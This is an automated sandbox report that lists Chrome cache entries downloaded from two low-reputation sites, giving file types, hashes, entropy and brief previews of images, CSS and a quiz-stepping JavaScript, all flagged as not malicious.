Preview:	.PNG........IHDR.......<.......y....PLTE................./-0.. &#'...cadCAD..........,/B@C0.1RPS...zy{zxznln...............dbeFFIC@CRQSQORigi~\|~rps..............-+...._]_xwy............'%(<9=C@CXVYKIL+(,qoq...................647ZXZ.......+/859.................._]_...pnp........FDG...GEG...425&#'...>;?...(+.........<9=IFI_]_.~.......xvx>;>........[Y\'+......LJMpoq...................647.......................6.....9..:..;..=..:.....0..=..8# $m..........................B.........v..............................m{uvx..9...................u.opr.Yl.Zj..9..'.."...........Df..B..1................m..cz.C_.I]..'..%q.!......................YqYZ\.2Y.&K;;>..;.&6.......v..[wefh.Fa..=.........NPR.6N.9HE.wV...wtRNS....;....X..S.........UCB6......pcN1)....$ ........~o7......<........{{qne[L,(.........~r^SQK....d.....w...?.......IDATh..gW.`..o)m.....(S@....{...I..H.d."....'..{....IU........\.{..w%..6l.a....t.7n...=..G/..oJ...q...X4..1'.4..4#==.1;.(k.z.s.1

Chrome Cache Entry: 115

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 705 x 329, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	56100
Entropy (8bit):	7.961895882138943
Encrypted:	false
SSDEEP:	768:KVDqp+/pejDJJdvrNz4+w17hX7RogHNZ28KycecckgEfDjpPnGZVvzyfQzV6gBA9:KFqhDJbvKbhXn2JecckRb9PaVr4OVOBT
MD5:	B9D51B9D8C52249773141F7AFEC83D4D
SHA1:	D44FC646D3F57E086EC7D4CEC3A6D7C8C6EAE183
SHA-256:	E7B059F9D7A222A13ADDC6636D466DB294DA697DF8F460B94BF34C98B9CBF907
SHA-512:	763280D1C8A9EDB5448E0E5D9639185506E7DAFE2811A824626B8D5F1DB3080C22EAD931E2A1F683D4C3DB144DF97CBC7FA3154E14F6AB27043593258E5DC3EA
Malicious:	false
Reputation:	low
URL:	https://duennasustentation.online/images/logo2.png
Preview:	.PNG........IHDR.......I.....z..\....pHYs...#...#.x.?v....iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.1-c001 79.1462899, 2023/06/25-20:01:55 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmp:CreatorTool="Adobe Photoshop 21.1 (Windows)" xmp:CreateDate="2021-09-15T22:51:09+08:00" xmp:ModifyDate="2024-10-14T17:02:29+08:00" xmp:MetadataDate="2024-10-14T17:02:29+08:00" dc:format="image/png" photoshop:ColorMode="3" xmpMM:InstanceID="xmp.iid:79d37792-2a20-9246-84af-36b51267eb94" xmpMM:DocumentID="xmp.did:981b83bf-cf0b-0c4d-bf3f-adcf374ebc66" xmpMM:OriginalDocumentID="xmp.did:981b83bf-cf0b-0c4d-b

Chrome Cache Entry: 116

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, big-endian, direntries=12, height=2015, bps=0, PhotometricIntepretation=RGB, orientation=upper-left, width=1504], progressive, precision 8, 150x150, components 3
Category:	downloaded
Size (bytes):	31837
Entropy (8bit):	7.617083285413763
Encrypted:	false
SSDEEP:	768:j9iivrMr70R9iivrMD6KH3bwFiNbS53SDHW1Y/V:j9TR9VKH3b/NOX2V
MD5:	C9AEB368D39BF2BBC5520A14E7B2F8EE
SHA1:	FBFD0EDA129D51D62D58BCF2DD5F12F1FB911D6C
SHA-256:	385528B5F550AA72947C3906F4D50AE4F478C5EEF8CB6526229C88CE43261443
SHA-512:	CF56272220C2F8A14E5B162ECFF5103A3AEF438957DD7A06975BA489D72576F4D067B621095301BDC85279AE61B32659E545EE56377CA0419EC364A55E033531
Malicious:	false
Reputation:	low
URL:	https://duennasustentation.online/images/2.jpg
Preview:	......Exif..MM.*.......................................................................................................(...........1...........2..........i............. ............'.......'.Adobe Photoshop 21.0 (Windows).2023:04:19 19:19:03............0231...................................................................n...........v.(.....................~...........T.......H.......H..........Adobe_CM......Adobe.d......................................................................................................................................................"................?..........................................................................3......!.1.AQa."q.2.....B#$.R.b34r..C.%.S...cs5....&D.TdE.t6..U.e...u..F'...............Vfv........7GWgw........................5.....!1..AQaq"..2.....B#.R..3$b.r..CS.cs4.%......&5..D.T..dEU6te....u..F...............Vfv........'7GWgw.................?..M..%..:I)m..%..............$...P.21.)u..mU3..@.}.c...peu..8..y.[.{4...z.UWf..

Chrome Cache Entry: 117

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 705 x 255, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	46866
Entropy (8bit):	7.94677872708586
Encrypted:	false
SSDEEP:	768:60GjDYQrOIxVfhQdoaTVmDIv2zcmFJIW4ewtFkcaD+Y/eFRdaYBWAPABS49YLB:60WrOIRQ7TVmDIvxGJnlcc/eEAb0YLB
MD5:	E16A839815ACF61B7084DDB7B4D70913
SHA1:	C476C45BBDD2BE79EBE7779EAB5EFB2F7E508C5F
SHA-256:	DFBF1BA6B7FFE31703146EBB5B132B950BA914EF6D56A7170DD24F4A6E92DE1B
SHA-512:	79D4616AF4A628C72A753687997BBCAA292B1BF1F6B64DEE1F5C64979A44F409ADB5BD3CCD8D8F66DFA2F52BEDA71B02D326054F7147485EC19FCD2BDED4C84D
Malicious:	false
Reputation:	low
URL:	https://duennasustentation.online/images/logo.png
Preview:	.PNG........IHDR..............^......pHYs...#...#.x.?v....iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.1-c001 79.1462899, 2023/06/25-20:01:55 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmp:CreatorTool="Adobe Photoshop 21.1 (Windows)" xmp:CreateDate="2021-09-15T22:51:09+08:00" xmp:ModifyDate="2024-10-14T17:02:44+08:00" xmp:MetadataDate="2024-10-14T17:02:44+08:00" dc:format="image/png" photoshop:ColorMode="3" xmpMM:InstanceID="xmp.iid:956797c6-8a76-8244-9039-9b4573f60d97" xmpMM:DocumentID="xmp.did:981b83bf-cf0b-0c4d-bf3f-adcf374ebc66" xmpMM:OriginalDocumentID="xmp.did:981b83bf-cf0b-0c4d-b

Chrome Cache Entry: 118

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with CRLF line terminators
Category:	downloaded
Size (bytes):	11959
Entropy (8bit):	4.952625024306217
Encrypted:	false
SSDEEP:	192:CjEqifihiKoly3m9+ymGWbyaQ9UyjaGyp29wiKimi2isiNBUi/QFlNQXiyUih97t:CjEqifihiKoly3m9+ymbbyaQ9UyjaGyu
MD5:	8408C8AC10FAE1F05E7B8D5811C9710E
SHA1:	A171E9A9D9162B1389FADA287ECED367389B380F
SHA-256:	BC14A1D9A1F126A37DCC8D252A28DD93895E5365B9776105C42DAEBD50B51EBC
SHA-512:	01C989403BD74F4DB1FE70622C75DF6E97F333D2748B6E055538B60C472C83B2B9C379423259A1BD66CAD3A932FA1EAA68C92066F1975E0ACBD460A9763BC73D
Malicious:	false
Reputation:	low
URL:	https://duennasustentation.online/js/script.js
Preview:	var answers = document.querySelectorAll(".clsnqaaa-select");..var lastQnum = document.querySelectorAll("#nnlstm .clsnqaaa-select").length;....function toNext(ele) {.. if(ele.value=="1"){.. document.getElementsByClassName("bdyaln1")[0].classList.add("animate__animated");.. document.getElementsByClassName("bdyaln1")[0].classList.add("animate__fadeOut"); .. setTimeout(function () { .. document.getElementsByClassName("bdyaln1")[0].style.display = "none";.. }, 500);.. }.. var ancestor = ele.parentElement.parentElement;.. var next = ancestor.nextElementSibling;.. ancestor.classList.add("animate__animated");.. ancestor.classList.add("animate__fadeOut");.. setTimeout(function () {.. ancestor.style.display = "none";.. }, 490).. setTimeout(function () {.. next.classList.add("animate__animated");.. next.classList.add("animate__fadeIn");.. next.style.display = "block".. }, 490)..}......var states = [do

Chrome Cache Entry: 119

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 138 x 133, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	9862
Entropy (8bit):	7.974844598564267
Encrypted:	false
SSDEEP:	192:raNdDxEznC/5Zi927OFVynFYsqtPiv17hIWTG4sE1CWAIHa3yehCxEXdW6WKdhhu:OEoni4WynFzqtPi1uWnsE1C6ooxuQMhU
MD5:	96DE7278165F82601754FD6D5B84ADC4
SHA1:	8B05B2606FB419545011C03F6F59260F2AD56B6F
SHA-256:	C6C896E27FF1F1D6CB22CE652DCCA916946CE9F003BCB4FE30D1265FCB531A95
SHA-512:	B6211DC1E3A7B416EA10127D61A0125AD38C2EF968F16970580766C57D1BF48E679B0FA3946A2D9EFB20D15D6B31816217FFE29E5C78E6C321A304067853AECB
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.....................PLTE.........4..z.z.....:...................M.o..p..........p....d..O..(..2..W.....0..=..H.]..^...\|%..C..evp!.........."..E.....J.Q.......................................................................j.....)...........j......................................n...............NA.....................................L@...&.........B:.?4........Y.............y.&..yp.......{q...$................".....}v.\T....OG....sl.......eZ.41.......pd.....}..u............./(.jkj...XK........`565..........{.. ..{....``^>=>..&...H<.hb.;,...................(&......].t.qi....ib......ttut..iVE....TSS`S....a[..y.........f..=......./....eT......+zh....3........... ...........KKKRN...................SC5.FD.'&$N@.........]..%.._CBH.......z.......g.....s.....dGK1m.#....0tRNS.U..}.M.I.\A,u8#...ri............e.........n;-..#.IDATx..Y{\SU...G .e(\|.J.^.......-6.&..}.5...[..Ga.h..%.....`..........Q#DQD.K.25K...G...=>=........\|.9..=L........i.%

Chrome Cache Entry: 120

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65348)
Category:	downloaded
Size (bytes):	71750
Entropy (8bit):	5.119130414843615
Encrypted:	false
SSDEEP:	1536:h6uNQ3fdPwwanleMf72yMPkZ8PFwh1nAukdDO3Xyr5Ir5eh0dTo:AkZgwh1nAukdDO3Xyr5Ir5eh0dTo
MD5:	C0BE8E53226AC34833FD9B5DBC01EBC5
SHA1:	B81EF1B22DE26AF8A7A4656F565FBC91A69D7518
SHA-256:	5FBAEB9F8E25D7E0143BAE61D4B1802C16CE7390B96CEB2D498B0D96FF4C853F
SHA-512:	738DAA4D2C3FC0F677FF92C1CC3F81C397FB6D2176A31A2EEB011BF88FE5A9E68A57914321F32FBD1A7BEF6CB88DC24B2AE1943A96C931D83F053979D1F25803
Malicious:	false
Reputation:	low
URL:	https://duennasustentation.online/css/animate.min.css
Preview:	@charset "UTF-8";/!. animate.css - https://animate.style/. * Version - 4.1.1. * Licensed under the MIT license - http://opensource.org/licenses/MIT. . Copyright (c) 2020 Animate.css. /:root{--animate-duration:1s;--animate-delay:1s;--animate-repeat:1}.animate__animated{-webkit-animation-duration:1s;animation-duration:1s;-webkit-animation-duration:var(--animate-duration);animation-duration:var(--animate-duration);-webkit-animation-fill-mode:both;animation-fill-mode:both}.animate__animated.animate__infinite{-webkit-animation-iteration-count:infinite;animation-iteration-count:infinite}.animate__animated.animate__repeat-1{-webkit-animation-iteration-count:1;animation-iteration-count:1;-webkit-animation-iteration-count:var(--animate-repeat);animation-iteration-count:var(--animate-repeat)}.animate__animated.animate__repeat-2{-webkit-animation-iteration-count:2;animation-iteration-count:2;-webkit-animation-iteration-count:calc(var(--animate-repeat)2);animation-iteration-count:calc(var(

Chrome Cache Entry: 121

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, big-endian, direntries=12, height=237, bps=0, PhotometricIntepretation=RGB, orientation=upper-left, width=350], progressive, precision 8, 237x350, components 3
Category:	downloaded
Size (bytes):	75733
Entropy (8bit):	7.888406989990254
Encrypted:	false
SSDEEP:	1536:Y5/ze5/zuTnn4wuoXMM0r8gb5LmV60qM0jKAUj1C07B+kkwszX:EzCzUnf/XBMMPqM1fj1C7kkJzX
MD5:	D2018427FD43E39DD957F9C6B005E3E2
SHA1:	E1FC22FF3DC15267B14DDBE590077C6293E5DB2B
SHA-256:	7F9DCA4494564E053A237A1DB7F5160881BCDAC9EFE4A16BECA0D03EB507F5AA
SHA-512:	C3D54E72680ECFB95DFBA263265231E4501CA6FCA68B28785EEC7481D782D1B8A94AA10597EB5301E027040A0ED49FCA675B3C910670D5E2D6286620823345B6
Malicious:	false
Reputation:	low
URL:	https://duennasustentation.online/images/comm_pic_2.jpg
Preview:	.....ZExif..MM.*...............^.......................................................................................(...........1...........2..........i............. ............'.......'.Adobe Photoshop 21.0 (Windows).2023:07:25 22:13:22............0231..................................^...............................n...........v.(.....................~...................H.......H..........Adobe_CM......Adobe.d...................................................................................................................................................l.."................?..........................................................................3......!.1.AQa."q.2.....B#$.R.b34r..C.%.S...cs5....&D.TdE.t6..U.e...u..F'...............Vfv........7GWgw........................5.....!1..AQaq"..2.....B#.R..3$b.r..CS.cs4.%......&5..D.T..dEU6te....u..F...............Vfv........'7GWgw.................?..1.&fU.'.....<j`......-..c.h.m...h...W.....h........C?...h.=...?.M?.>..~.....

Chrome Cache Entry: 122

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, big-endian, direntries=12, height=642, bps=0, PhotometricIntepretation=RGB, orientation=upper-left, width=640], progressive, precision 8, 150x150, components 3
Category:	dropped
Size (bytes):	37344
Entropy (8bit):	7.703273435202607
Encrypted:	false
SSDEEP:	768:MvchzCU271vchzCUw6jj+EcMwBM/RK1HakjXgZT:GozLqozLrjjHfwoQ1HQZT
MD5:	F12A76E3067BC5D072D9A50BC5CB4AE3
SHA1:	58DF38CD5591F132E5BB16207601F1FD3C69F98F
SHA-256:	63AEC2631EE77FDB2CCF7C41E0E952E25940FD52211AEDD73280FCC0AC3EA3F7
SHA-512:	CFABFD02F68DF3C26951DC145F6EA9549013B4B2415A4887D80C94C636F281B8456C74F5BD9B9571D8055807D9DE5E21C42AD1F103BA0114EABE02D99DDF3AB9
Malicious:	false
Reputation:	low
Preview:	.....XExif..MM........................................................................................................(...........1...........2..........i............. ............'.......'.Adobe Photoshop 21.0 (Windows).2023:04:19 19:18:39............0231...................................................................n...........v.(.....................~...................H.......H..........Adobe_CM......Adobe.d......................................................................................................................................................"................?..........................................................................3......!.1.AQa."q.2.....B#$.R.b34r..C.%.S...cs5....&D.TdE.t6..U.e...u..F'...............Vfv........7GWgw........................5.....!1..AQaq"..2.....B#.R..3$b.r..CS.cs4.%......&5..D.T..dEU6te....u..F...............Vfv........'7GWgw.................?..4._.}..I...h...z.,..!.hPjlV...7.:1..6../Z..i..,,GQ...........`.r..5.3n.J....

Chrome Cache Entry: 123

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	assembler source, ASCII text
Category:	downloaded
Size (bytes):	21950
Entropy (8bit):	4.92020597195622
Encrypted:	false
SSDEEP:	384:YdLxBFyFUF2F1FiaDZ0dh2zc51ZXcE8sFF/DMEeLsx:YdLxBFyFUF2F1FPZ0dh24jZf8sFF/DMk
MD5:	7AC4DA3C299712B15EFF335A07BFE417
SHA1:	A073AF3A19BA3D3FC60E327D2FDF15A474816F03
SHA-256:	C2B5EEECC80994EF29CC1D9D39A5F8410BB37E8972D1E80446C2C99548F97F42
SHA-512:	B4562A6477D9BD538697CBC90F6C74F66818465CE75B9A7B5704B4D6FE698B51A155ABA0EE7A507E0D2D397EFF0760A733BC7EBC34E70C9F49416ACD49E73079
Malicious:	false
Reputation:	low
URL:	https://www.chargeswiftpath.online/new/67234/app/desktop/css02/index.css
Preview:	* {. margin: 0;. padding: 0;.}..no-gutter {. padding: 0;.}..clearfix {. clear: both;.}.p.no-margin {. margin-top: 0 !important;.}.p.no-padding {. padding-top: 0 !important;.}.a {. text-decoration: none;. color: #999;.}.a:hover {. text-decoration: none;. color: #999;.}..headerbox {. background: #FFF;. margin: 0px auto 20px auto;. padding: 0 0 0 0;. -moz-border-radius: 0 0 5px 5px;. -webkit-border-radius: 0 0 5px 5px;. -khtml-border-radius: 0 0 5px 5px;. border-radius: 0 0 5px 5px;. box-shadow: 0 0 4px #333;. -webkit-box-shadow: 0 0 4px #333;. -moz-box-shadow: 0 0 4px #333;.}..headerbox h1 {. text-align: center;. margin: 15px;. padding: 0;. font-size: 28px;.}..btn-danger {. color: #fff;. text-align: center;. background-color: #FF9900;. border-color: #ff6600;.}..btn-danger:hover {. color: #fff;. background-color: #ff6600;. border-color: #ff6600;.}..btn-danger {. background-image: -webkit-linear

Chrome Cache Entry: 124

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, big-endian, direntries=12, height=730, bps=0, PhotometricIntepretation=RGB, orientation=upper-left, width=729], progressive, precision 8, 150x150, components 3
Category:	downloaded
Size (bytes):	43861
Entropy (8bit):	7.742504152948194
Encrypted:	false
SSDEEP:	768:xZo57qZoU6bTUm/qycesFqfpgpLON2PJUdRBbfY1NdLAkxpr4L:xviHl/YeQycLbhUrBsdEkX0
MD5:	B65C749BEAB367749F90F622A2DC6F52
SHA1:	39EC9248BFD9F657F762B4A60576C25074FB1F44
SHA-256:	FA34FA4A45CF0E1071529B887E64627C4D6019AE03F1C1ADB18F292585EAFAD7
SHA-512:	849DBFE3D03413D373B82B7D3D9FF95497F0170543F03C3961DB66F564A3AA0A45822AB766FB5B727F616B1DA8BDE471A864B866809DB50C91E424265B38F0FF
Malicious:	false
Reputation:	low
URL:	https://duennasustentation.online/images/1.jpg
Preview:	......Exif..MM.*.......................................................................................................(...........1...........2..........i............. ............'.......'.Adobe Photoshop 21.0 (Windows).2023:04:19 19:19:20............0231...................................................................n...........v.(.....................~...........E.......H.......H..........Adobe_CM......Adobe.d......................................................................................................................................................"................?..........................................................................3......!.1.AQa."q.2.....B#$.R.b34r..C.%.S...cs5....&D.TdE.t6..U.e...u..F'...............Vfv........7GWgw........................5.....!1..AQaq"..2.....B#.R..3$b.r..CS.cs4.%......&5..D.T..dEU6te....u..F...............Vfv........'7GWgw.................?....Lw.cw.dm...:)}i...7........#....^..U..X.,..a7...........$...j. .:zz.H.^

Chrome Cache Entry: 125

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, big-endian, direntries=12, height=360, bps=0, PhotometricIntepretation=RGB, orientation=upper-left, width=480], progressive, precision 8, 264x406, components 3
Category:	dropped
Size (bytes):	138542
Entropy (8bit):	7.949490785905743
Encrypted:	false
SSDEEP:	3072:MlC2Pvdr0iNGlxU8I93/pSYHZLlukN/M7n:MTXx02SI9xSYJljN/M7n
MD5:	48E07135676485565D9E1D9920850A98
SHA1:	CAE896DADE5AE2A62055D12779F6C30F8E928E83
SHA-256:	B066CEECA131496E4C99D93BB5CE2A4B2E7CD2ACB015B568194B2EEF03020F53
SHA-512:	BCB223CCCEB3FFF0550F600582EF7EA604F680D8825F430F06178C6059D552BEBA8BC5FEFA35DF18D44E8D3E0C9A60E00CFDFB96B00D460E9544B400C98CFE72
Malicious:	false
Reputation:	low
Preview:	......Exif..MM............................h...........................................................................(...........1...........2..........i............. ............'.......'.Adobe Photoshop 21.0 (Windows).2023:07:25 22:13:36............0231...................................................................n...........v.(.....................~...........D.......H.......H..........Adobe_CM......Adobe.d...................................................................................................................................................h.."................?..........................................................................3......!.1.AQa."q.2.....B#$.R.b34r..C.%.S...cs5....&D.TdE.t6..U.e...u..F'...............Vfv........7GWgw........................5.....!1..AQaq"..2.....B#.R..3$b.r..CS.cs4.%......&5..D.T..dEU6te....u..F...............Vfv........'7GWgw.................?..X.3.:..U.Lxmt.@...Ek.L...\.H.......~..Ot.Y.....+7H$...%2k..d........:..

Chrome Cache Entry: 126

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 40 x 40, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	1781
Entropy (8bit):	7.876950143793336
Encrypted:	false
SSDEEP:	24:rbi3mjrgCY2pCoduMC6qjfNOIsLMeipbHJ7BG2TetUJRv0WTUDJ0f+743oJCrIZM:rW8y3ikfNneMbHFjTL0KwD9JsqM
MD5:	E8D617749C17919B73A255833CC16DF5
SHA1:	8AAEFCB3965FC52D9782FB9A76B81DF3FE673282
SHA-256:	EB97F1CEB86CF65FEBE6FC09278D503747F140E18297B6DA6EE4BDCD41479F43
SHA-512:	EAB146AC9E6005D49185780FE731AC54C5498B24117872797A877A5A428D961F70AF174FF91E51857764BCE965931E718477AC37987DBBCF82FB147E683EBFBC
Malicious:	false
Reputation:	low
URL:	https://duennasustentation.online/images/flaglogo.png
Preview:	.PNG........IHDR...(...(........m....IDATx....t\[...d.x..uj...8..8..v'.fm.._..&5..g...M..g..]..{..>#.g...`.n...?.`....W..CAdn.:..../\LHh...e./....'.6..g'....)h.v.V....(L.6(&.6...([..h.V".#......G..MS(..t....9PC.P..u.y.=+...h......Q.....89.92p...;..La....m.&.y......e..nL."W....2.am..{O..-.....{.{..+......h.....P..b=.' "".b..A.v.9.,p...A...0a.d.?....8...&..O...b........M....3...JM.`.......ul"............IL.Y...FU......r..ON[).9.`..........H3....)..}..s....KM,t...D.i.]l7Y.0.L._.jB...v.y..o36n.......+..^$...3F....;..N...E.%..".0.}....KE....J.IiB.....6qCA.SG... .j.?k.P.j5.z}.._..I....F...2g.I......._[......_ .......].G.C)9/.uHM-..E...._.<.9.&L$9x....c.vG.e....C.R.eh.z....\\.BeL.K.W..Q..m..Y...-........%...Q.i0s.d..l.......h..].yI$..3).q.]0m.j....B........... ....6q..Q#qf..Z;=d..F2.........._\..Z.k.pt..:...B....F.].%.....P..G.y.y.....}.....mD...U0..\.q.j../v....aa.....~.gp...J....<.+....EcD.x...w........F.=...R=-..+#..Ef..&.

Chrome Cache Entry: 127

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with CRLF line terminators
Category:	dropped
Size (bytes):	11959
Entropy (8bit):	4.952625024306217
Encrypted:	false
SSDEEP:	192:CjEqifihiKoly3m9+ymGWbyaQ9UyjaGyp29wiKimi2isiNBUi/QFlNQXiyUih97t:CjEqifihiKoly3m9+ymbbyaQ9UyjaGyu
MD5:	8408C8AC10FAE1F05E7B8D5811C9710E
SHA1:	A171E9A9D9162B1389FADA287ECED367389B380F
SHA-256:	BC14A1D9A1F126A37DCC8D252A28DD93895E5365B9776105C42DAEBD50B51EBC
SHA-512:	01C989403BD74F4DB1FE70622C75DF6E97F333D2748B6E055538B60C472C83B2B9C379423259A1BD66CAD3A932FA1EAA68C92066F1975E0ACBD460A9763BC73D
Malicious:	false
Reputation:	low
Preview:	var answers = document.querySelectorAll(".clsnqaaa-select");..var lastQnum = document.querySelectorAll("#nnlstm .clsnqaaa-select").length;....function toNext(ele) {.. if(ele.value=="1"){.. document.getElementsByClassName("bdyaln1")[0].classList.add("animate__animated");.. document.getElementsByClassName("bdyaln1")[0].classList.add("animate__fadeOut"); .. setTimeout(function () { .. document.getElementsByClassName("bdyaln1")[0].style.display = "none";.. }, 500);.. }.. var ancestor = ele.parentElement.parentElement;.. var next = ancestor.nextElementSibling;.. ancestor.classList.add("animate__animated");.. ancestor.classList.add("animate__fadeOut");.. setTimeout(function () {.. ancestor.style.display = "none";.. }, 490).. setTimeout(function () {.. next.classList.add("animate__animated");.. next.classList.add("animate__fadeIn");.. next.style.display = "block".. }, 490)..}......var states = [do

Chrome Cache Entry: 128

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, big-endian, direntries=12, height=658, bps=0, PhotometricIntepretation=RGB, orientation=upper-left, width=640], progressive, precision 8, 150x154, components 3
Category:	downloaded
Size (bytes):	44747
Entropy (8bit):	7.7744868006621175
Encrypted:	false
SSDEEP:	768:O4C5OhN7F4C5OO6Ucg/ouGCeN/VQltMpIQPtqAYVXhw2CMge:O4145Ucg/oF31VQlqlPSJh5T
MD5:	6FC08A0B7294EC0B340205964C76B093
SHA1:	75F347575EF7A66B64B2CE8E88CC08E029FC5DC8
SHA-256:	C50866E05ACA5676441B1CD638692727CAC416FF8532A176A85443DA3A667EDC
SHA-512:	9F8D43610B413221AEBA870860C56F8F6ED7E6FB31820D958E37670A0336EB47C02D927FF2CDE462A320385A25F297869F7089293C9A5FDD044A44BCFC8DDBCF
Malicious:	false
Reputation:	low
URL:	https://duennasustentation.online/images/5.jpg
Preview:	.....&Exif..MM........................................................................................................(...........1...........2..........i............. ............'.......'.Adobe Photoshop 21.0 (Windows).2023:04:19 19:18:25............0231...................................................................n...........v.(.....................~...................H.......H..........Adobe_CM......Adobe.d......................................................................................................................................................"................?..........................................................................3......!.1.AQa."q.2.....B#$.R.b34r..C.%.S...cs5....&D.TdE.t6..U.e...u..F'...............Vfv........7GWgw........................5.....!1..AQaq"..2.....B#.R..3$b.r..CS.cs4.%......&5..D.T..dEU6te....u..F...............Vfv........'7GWgw.................?..A....c\|Vut..H.\|Q!..\|f..?......F.-..D..k..{...l..49....R..i.utTm....'...N\.\..

Chrome Cache Entry: 129

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 705 x 255, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	46866
Entropy (8bit):	7.94677872708586
Encrypted:	false
SSDEEP:	768:60GjDYQrOIxVfhQdoaTVmDIv2zcmFJIW4ewtFkcaD+Y/eFRdaYBWAPABS49YLB:60WrOIRQ7TVmDIvxGJnlcc/eEAb0YLB
MD5:	E16A839815ACF61B7084DDB7B4D70913
SHA1:	C476C45BBDD2BE79EBE7779EAB5EFB2F7E508C5F
SHA-256:	DFBF1BA6B7FFE31703146EBB5B132B950BA914EF6D56A7170DD24F4A6E92DE1B
SHA-512:	79D4616AF4A628C72A753687997BBCAA292B1BF1F6B64DEE1F5C64979A44F409ADB5BD3CCD8D8F66DFA2F52BEDA71B02D326054F7147485EC19FCD2BDED4C84D
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR..............^......pHYs...#...#.x.?v....iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.1-c001 79.1462899, 2023/06/25-20:01:55 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmp:CreatorTool="Adobe Photoshop 21.1 (Windows)" xmp:CreateDate="2021-09-15T22:51:09+08:00" xmp:ModifyDate="2024-10-14T17:02:44+08:00" xmp:MetadataDate="2024-10-14T17:02:44+08:00" dc:format="image/png" photoshop:ColorMode="3" xmpMM:InstanceID="xmp.iid:956797c6-8a76-8244-9039-9b4573f60d97" xmpMM:DocumentID="xmp.did:981b83bf-cf0b-0c4d-bf3f-adcf374ebc66" xmpMM:OriginalDocumentID="xmp.did:981b83bf-cf0b-0c4d-b

Chrome Cache Entry: 130

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 140 x 60, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	3071
Entropy (8bit):	7.910382086539217
Encrypted:	false
SSDEEP:	48:/6DFl4wislFxN729L5xHbqugOsJHX8o0R2H04wkB4V6OiE7gEeH0T/90oUbk22F9:/YTMmqL5QLTJ385R2U4WV6WvT10GoVIz
MD5:	20069ED254CF488EB8223E05DF810414
SHA1:	CD649F043E43B6986E63CB3BB6658FF33D91BF64
SHA-256:	3AF054219051FA2D21116B671CE04B82989FD0155E6148466851E081F3E55BA1
SHA-512:	185BC43754185CF123D5EC297CED49CA713CCA7794358661B6B3322E47D334A382E12C6C43438F1484A749A9FF1662027A769DDCF7E24AE522E7FE6605823A56
Malicious:	false
Reputation:	low
